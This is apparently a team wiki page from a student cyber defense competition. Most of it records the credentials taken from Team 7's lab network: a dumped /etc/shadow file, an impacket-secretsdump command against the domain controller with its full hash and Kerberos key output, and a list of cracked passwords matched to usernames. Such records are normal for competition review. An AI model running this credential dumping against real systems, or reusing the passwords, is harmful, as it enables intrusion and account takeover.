Team 7 Wiki Page

Thank you for competing!
Team Information
Team rm rf logo
Number
Team 7
Name
rm rf
IP Range
49.49.33.0/24
Domain
team7.isucdc.com
Current Place
1st
Red Teamer(s)
None
Service Status
AD RDP
AD LDAP
GIT SSH
GIT HTTP
ENV RDP
CODE SSH
IRC SSH
IRC IRC
WWW SSH
WWW HTTP
CODE HTTP
Nmap
CODE SERVER:
# cat /etc/shadow
root:$6$558boFgnuOAtAX9Q$gD9abx5I51nMrPWSqZnCrVRzK78iotdqjlx.QeG3wqwj1X6uDDkdYoy/cgUgLz9VTLYgRnjnwevVG0al9jcAN.:20176:0:99999:7:::
daemon:*:18863:0:99999:7:::
bin:*:18863:0:99999:7:::
sys:*:18863:0:99999:7:::
sync:*:18863:0:99999:7:::
games:*:18863:0:99999:7:::
man:*:18863:0:99999:7:::
lp:*:18863:0:99999:7:::
mail:*:18863:0:99999:7:::
news:*:18863:0:99999:7:::
uucp:*:18863:0:99999:7:::
proxy:*:18863:0:99999:7:::
www-data:*:18863:0:99999:7:::
backup:*:18863:0:99999:7:::
list:*:18863:0:99999:7:::
irc:*:18863:0:99999:7:::
gnats:*:18863:0:99999:7:::
nobody:*:18863:0:99999:7:::
systemd-network:*:18863:0:99999:7:::
systemd-resolve:*:18863:0:99999:7:::
systemd-timesync:*:18863:0:99999:7:::
messagebus:*:18863:0:99999:7:::
syslog:*:18863:0:99999:7:::
_apt:*:18863:0:99999:7:::
tss:*:18863:0:99999:7:::
uuidd:*:18863:0:99999:7:::
tcpdump:*:18863:0:99999:7:::
landscape:*:18863:0:99999:7:::
pollinate:*:18863:0:99999:7:::
usbmux:*:20117:0:99999:7:::
sshd:*:20117:0:99999:7:::
systemd-coredump:!!:20117::::::
cdc:$6$Ff3uQNqo/fhDAWSy$ZfBGczRB4Dimj4dK3DtJZgtPyRERn34IotgzUnRFvrLbeTZ/HESm4Kg86D0RAJusyNgwe534kuCSTqXj7oSx90:20176:0:99999:7:::
lxd:!:20117::::::
ntp:*:20146:0:99999:7:::
sssd:*:20146:0:99999:7:::
jessica.butler:$6$JdIexfkJbXqEUzCW$sXYhEPwnUvQFbDMWlwqHhOE7tDg7Oau4KtP8FrMFulKKGcdLEPCTQkoX.d511065.igeQzzS2SQxxpvzq2Ss6.:20175:0:99999:7:::
dylan.jenkins:$6$CfD.FigM4.xtKLki$Varo8PEcBqY83J5uk8qtsr8ZMdtYl8/n8bqz08GF3m5pBFBK1NIViYdw7NudvnUM6hDEkYJaeY/TPc3RvslRd/:20175:0:99999:7:::
trevor.benson:$6$P7bKeY25AJ3x9TAe$VrDZL7LIdN7uGtT0VETkO1uJn9LTYRA1CFHahBvV5Bi12uZG32WcI..P/kqYeuCda8npH/yBg2AD.eKQjnFtA0:20175:0:99999:7:::
kyle.myers:$6$nJ/S8vAoTH//T5mo$kN0EkE.14UEuOVrzSsTt7TofwZpyPhGj.lGmgZsfl3AV1Y.0N5.qmJzMsvbSvJOu2LtpoW8xt7vMIMVkEziLL0:20175:0:99999:7:::
fredercik.massey:$6$PBor7s8RcXd0wQ/8$beGaD3EGi5ey50pJl.yLfZuAohBS4YYRKI8gB1ch8hXsDipxFtGIfRGtFAv3SuLYAX6wv2Pg9OLoq7ij4Bnb0.:20175:0:99999:7:::

AD Cracked so far:
c13dbd58f9c2ae23e66d0dc89418d078
31d6cfe0d16ae931b73c59d7e0c089c0→
86ba043cd080468dc6a6fd9dc74151fa
6aa15b3d14492d3fa4aa7c5e9cdc0e6a→ cdc
424c5799681ef4de8336fba807ea4a57→ baz750way   jessica.butler
469fa022c2b0dd5badb054509d24b344→ xew961cor   frederick.massey
186dd8689a3c3217bd39f9cc95241f5b→ kez541taw     trevor.benson
6e46f948f8a0b704a4c065f97467f057→ wul403bog     dylan.jenkins
c1f2d2008bc66a5870a85af1709ab5b1→ gix150sah    kyle.myers
7962669e5d3b89766ab54dc49f991bb0→ hor423rol    zachary.wallace
1b68b50cfa240646815da34b28091c02→ kuj100ziv    laura.johnson
d427c10b30c0e0605a844d2ae2ba8246→ vale3715   amber.palmer
48d27d11d9c654e7f44ad1341f9747e2→ ZIMNICARU   kevin.holland
552c66047e45aa9141689e232efd4dd7→ 815388872   melissa.marshall
15a64666c1c43e3ef60da783bfefb3ff→ mascot27     tonya.rodriguez
4b6a0952fbf6275df3d45a60f17a02c1
ad5faf8506b4399c1128ccde599ebb96
6cc08e852a1060a11946250206e3bc1f
1290edeb1d467c4539af81d404163ddf
0928f156e1a5532e1bccec2af0e31df8
cdea0b893fb12ed39a06413db5994949
13289e3413d46058d937983c7586d18d
b201b9c6951d8f40a4b4a95b4a02980d
fd287e1731872db541bf06fc97327dfa
991db6c1af6fb65883d06abb28571f33
5d39ed9403f8e23070b41cdd63682a2d
bf3023c221ee9a5d8c9b1d6d270f2cbf
735c2f80c33743389ed0ab94d886e36b
69e6ed727adc8db38a8a79573c064961
e59fdf95dad4667e26c9849c97dc39af
4d28d0b685db94c5adc05d51d269ad09
48fae730074f7add2ddb7f24efcacc07
5a6383318804bdc8a8dac69290c72a47
8fae3380d987c9c9ddf86bcb95a4cd9f
00b022520e2a74d84af46595e6db78f5
de8767ba0160b3d10f790c7c0a3d6213
2e7642d94929bf3cc6d167cb362bb3b2
60142f6547c1268a8f473f764e57abce
18d721a80e67eaba3c1f0b3f3934d257

AD
impacket-secretsdump 'AD$'@ad.team7.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c13dbd58f9c2ae23e66d0dc89418d078:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:86ba043cd080468dc6a6fd9dc74151fa:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cdc:1001:aad3b435b51404eeaad3b435b51404ee:6aa15b3d14492d3fa4aa7c5e9cdc0e6a:::
team7.isucdc.com\jessica.butler:1618:aad3b435b51404eeaad3b435b51404ee:424c5799681ef4de8336fba807ea4a57:::
team7.isucdc.com\frederick.massey:1619:aad3b435b51404eeaad3b435b51404ee:469fa022c2b0dd5badb054509d24b344:::
team7.isucdc.com\trevor.benson:1620:aad3b435b51404eeaad3b435b51404ee:186dd8689a3c3217bd39f9cc95241f5b:::
team7.isucdc.com\dylan.jenkins:1621:aad3b435b51404eeaad3b435b51404ee:6e46f948f8a0b704a4c065f97467f057:::
team7.isucdc.com\kyle.myers:1622:aad3b435b51404eeaad3b435b51404ee:c1f2d2008bc66a5870a85af1709ab5b1:::
team7.isucdc.com\zachary.wallace:1623:aad3b435b51404eeaad3b435b51404ee:7962669e5d3b89766ab54dc49f991bb0:::
team7.isucdc.com\laura.johnson:1624:aad3b435b51404eeaad3b435b51404ee:1b68b50cfa240646815da34b28091c02:::
team7.isucdc.com\amber.palmer:1625:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team7.isucdc.com\kevin.holland:1626:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team7.isucdc.com\melissa.marshall:1627:aad3b435b51404eeaad3b435b51404ee:552c66047e45aa9141689e232efd4dd7:::
team7.isucdc.com\tonya.rodriguez:1628:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
team7.isucdc.com\ldap_service_user:1629:aad3b435b51404eeaad3b435b51404ee:4b6a0952fbf6275df3d45a60f17a02c1:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
GIT$:1106:aad3b435b51404eeaad3b435b51404ee:ad5faf8506b4399c1128ccde599ebb96:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:6cc08e852a1060a11946250206e3bc1f:::
CODE$:1108:aad3b435b51404eeaad3b435b51404ee:1290edeb1d467c4539af81d404163ddf:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:0928f156e1a5532e1bccec2af0e31df8:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:a01c2b2aa411d175cd0df020ded032235f5d61fba8d1495bf5b08cf26306ef89
Administrator:aes128-cts-hmac-sha1-96:cdea0b893fb12ed39a06413db5994949
Administrator:des-cbc-md5:f1b01ccb52c19d76
krbtgt:aes256-cts-hmac-sha1-96:48ab6e4401838e9a9dfda4c1835134188918ebbdfad67357d6588916576510e1
krbtgt:aes128-cts-hmac-sha1-96:13289e3413d46058d937983c7586d18d
krbtgt:des-cbc-md5:4c4cc485cd5732f7
team7.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:f0a932a19f7f5e26d817bff33b05ad55aaecd46523b7e14dc6a943d8f4a93f7a
team7.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:b201b9c6951d8f40a4b4a95b4a02980d
team7.isucdc.com\jessica.butler:des-cbc-md5:25fd4679762cb5bf
team7.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:5b02f3ca72cbafbb0a16916e8d7d6c8ee93357839866aa3636bc53eeb2e02a79
team7.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:fd287e1731872db541bf06fc97327dfa
team7.isucdc.com\frederick.massey:des-cbc-md5:d3796dba8c8992f8
team7.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:bf8dc627f83720f35e5cd4b220c707db9b001d8cccca633ba7987727e9d9c844
team7.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:991db6c1af6fb65883d06abb28571f33
team7.isucdc.com\trevor.benson:des-cbc-md5:04dcec374ad6400d
team7.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:eba0f2a039f20f9117e2670b6b22d80dd7b6cf50071777efaeaa760a8f362a18
team7.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:5d39ed9403f8e23070b41cdd63682a2d
team7.isucdc.com\dylan.jenkins:des-cbc-md5:1c4a5b9de3b6bfa2
team7.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:07767c20840d866753695d43a6e760917a4bf5063779da118874c238c07ad698
team7.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:bf3023c221ee9a5d8c9b1d6d270f2cbf
team7.isucdc.com\kyle.myers:des-cbc-md5:bc200b2a25c29b0d
team7.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:eae912c9b2c903c0a4649d43bc4fd5a13b5e242a24e1273afb759c927603932d
team7.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:735c2f80c33743389ed0ab94d886e36b
team7.isucdc.com\zachary.wallace:des-cbc-md5:e915bf431538297a
team7.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:9acc3e54c59f9aa1b9f93244aa3a2269d6dece44dd2730fb7bb2301c298f5fb9
team7.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:69e6ed727adc8db38a8a79573c064961
team7.isucdc.com\laura.johnson:des-cbc-md5:54a232d09819feda
team7.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:5cde5ea6f851643860f7369e1c955b35962137a27465221eb3e9db23f8e53894
team7.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:e59fdf95dad4667e26c9849c97dc39af
team7.isucdc.com\amber.palmer:des-cbc-md5:585e012315dc3e9d
team7.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:7cdc77512fa978026af9caceddf95f6ac92971da766fb047f2d44829507e5408
team7.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:4d28d0b685db94c5adc05d51d269ad09
team7.isucdc.com\kevin.holland:des-cbc-md5:da54804c3b0d6158
team7.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:225a47b5cc2ac3d868ccd37f8c889af75ccb5ae8ebd0d1d61f6b83896a362147
team7.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:48fae730074f7add2ddb7f24efcacc07
team7.isucdc.com\melissa.marshall:des-cbc-md5:b6b9f76194d37a07
team7.isucdc.com\tonya.rodriguez:aes256-cts-hmac-sha1-96:c354e0b514eac04a40179549298fe61f9a262b08d8cdde6a6b97761bba402ffe
team7.isucdc.com\tonya.rodriguez:aes128-cts-hmac-sha1-96:5a6383318804bdc8a8dac69290c72a47
team7.isucdc.com\tonya.rodriguez:des-cbc-md5:044515ba919129e5
team7.isucdc.com\ldap_service_user:aes256-cts-hmac-sha1-96:4d253466c45edb9abf6cea9606ee6ee12955ad16de2da7dcf05611166b66c95d
team7.isucdc.com\ldap_service_user:aes128-cts-hmac-sha1-96:8fae3380d987c9c9ddf86bcb95a4cd9f
team7.isucdc.com\ldap_service_user:des-cbc-md5:c2ecadf8bc490ef4
AD$:aes256-cts-hmac-sha1-96:749e573eb085e9cb4de796c20940ad1edf1cf719a7f7dd541014ad049cea0fab
AD$:aes128-cts-hmac-sha1-96:00b022520e2a74d84af46595e6db78f5
AD$:des-cbc-md5:7a9e8908e54f94d5
GIT$:aes256-cts-hmac-sha1-96:c4590c752a38b35f00b228db3e491d67651a52ef71ab74921d4502090b838af4
GIT$:aes128-cts-hmac-sha1-96:de8767ba0160b3d10f790c7c0a3d6213
GIT$:des-cbc-md5:9eefab4fc137546d
ENV$:aes256-cts-hmac-sha1-96:b2d1d6fa18bb0d94c00abb81a87f5bcb4a94cfc5735c99d46e16e49a9194ad24
ENV$:aes128-cts-hmac-sha1-96:2e7642d94929bf3cc6d167cb362bb3b2
ENV$:des-cbc-md5:d3f80badea2ae504
CODE$:aes256-cts-hmac-sha1-96:3fc0ab0bfad9002e82f6f0b969c5a9ea16f46f61b16363feb605f25aba2696f7
CODE$:aes128-cts-hmac-sha1-96:60142f6547c1268a8f473f764e57abce
CODE$:des-cbc-md5:049d2fd5a8f8a879
IRC$:aes256-cts-hmac-sha1-96:20067db694f082b5e81d7409bbf813920bdb681cd00c00a88866255a1065da51
IRC$:aes128-cts-hmac-sha1-96:18d721a80e67eaba3c1f0b3f3934d257
IRC$:des-cbc-md5:73c858f4d634f275
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0x65a3306df87c986ebc5357726e148b528d5f4d2d5ef32d9ed015ba851a41ebc2b5f7015a0bf0fdfaf44e2fa74cbf6fc18c7b4204c32879a0ce283741e87aa6973fb9f6465169037f15c342396ebb9f9e7a1e891cac105d2de98dcb196c7fdde031f7f6c05e5d420da387c51cbb61462c06d3a074dc894bb57444137a7d26a65af498e6d007fb20ae00723a4858907d7d8f7eec1875464c6d01f92ea88b911c9ab60672fecc0c36e694993fbc9aaa3a37f8fd59691d9faa4052155e1afd7ea541dfd6db4b4cdf05b4304a7c4b94655482dd204e9cf391efcb6b35635bbb71a0af707fa305065f40d58afe1181642a3fcd53a038c7617c01f9dc7377d73b1957d8034703a60a29e95745a15a76af5769dde3104f2589c80d2dde89b62b0785fe5fdf65235017f5df3867f1640b6eb529ab172a85410e33440e2332fab3c84c743c97d5c13cd17164e47015b45d82450b9f81c6083b8cb2b9ba2ef57f1be1e1fc43e9f326459e7ea5fdae7382d40b2cb90425c408be0191d35eb02c1ac88fa8ee471080b86b8a868bf18e55dada3de0710baf8a24667c0585cb85970f82c02e662016e86207aa16014d474058cf9bbc865ade71fb5fdaac7f2dade5efed49ebe162c351503fbb865ec10e16420636300985f74f20d5c746444015b8b470df1881f7f25dac79ac3b3cc3b5562aa4d9587850c9669505873e033d6ee8595ab00ca6de
[*] Cleaning up...
                  














Notable Vulnerabilities
Add content here...
Notable Defenses
Add content here...
Team Spirit Issues
Add content here...